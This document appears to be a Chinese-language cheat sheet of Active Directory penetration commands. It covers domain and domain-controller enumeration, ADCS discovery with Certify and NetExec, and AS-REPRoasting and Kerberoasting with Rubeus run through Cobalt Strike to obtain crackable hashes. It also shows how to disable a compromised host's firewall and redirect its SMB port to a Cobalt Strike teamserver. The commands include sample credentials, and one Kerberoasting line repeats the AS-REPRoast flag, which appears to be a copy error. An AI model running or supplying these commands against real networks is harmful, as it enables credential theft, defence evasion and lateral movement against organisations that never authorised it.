基础域渗透的基础操作

查看当前域

通过环境变量 %USERDOMAIN% 查看当前域

echo %USERDOMAIN%

获取域控列表

通过 nltest 查找所有域控

nltest /dsgetdc:PENTEST

通过 nslookup 查找所有域控

nslookup -type=SRV _ldap._tcp.dc._msdcs.pentest.lab

获取 ADCS 列表

工具列表

利用过程

通过 Certify 查找所有 ADCS

#在 Cobalt Strike 无落地执行
execute-assembly Certify.exe cas

通过 NetExec 查找所有 ADCS（需要身份认证）

nxc ldap 172.28.1.1 -u zhangsan -p zhangsan@123 -M adcs

AS-REPRoast

工具列表

利用过程

通过 Rubeus 获取 DONT_PRE_AUTH 用户

#在 Cobalt Strike 无落地执行
execute-assembly Rubeus.exe asreproast /nowrap /format:hashcat

通过 NetExec 获取 DONT_PRE_AUTH 用户（需要身份认证）

nxc ldap 172.28.1.1 -u zhangsan -p zhangsan@123 --asreproast output.txt

Kerberoasting

工具列表

利用过程

通过 Rubeus 获取 SPN 账号

#在 Cobalt Strike 无落地执行
execute-assembly Rubeus.exe kerberoast /nowrap /format:hashcat

通过 NetExec 获取 SPN 账号（需要身份认证）

nxc ldap 172.28.1.1 -u zhangsan -p zhangsan@123 --asreproast output.txt

其他实用操作

端口转发&映射

工具列表

利用过程

1. 关闭被控机器的防火墙

   shell netsh advfirewall set allprofiles state off

2. 进入临时文件目录

   cd C:\Windows\Temp

3. 将 WinDivert32.sys 和 WinDivert64.sys 上传到被控机器

   # 我这里是上传到了C:\Windows\Temp目录

4. 将被控机的目标端口转发到被控机的低权限端口上

   # 将被控机的445端口转发到8445端口
   PortBender redirect 445 8445

5. 将被控机的端口映射到teamserver上

   # 将被控机的转发端口8445映射到CS服务器的445端口
   rportfwd 8445 127.0.0.1 445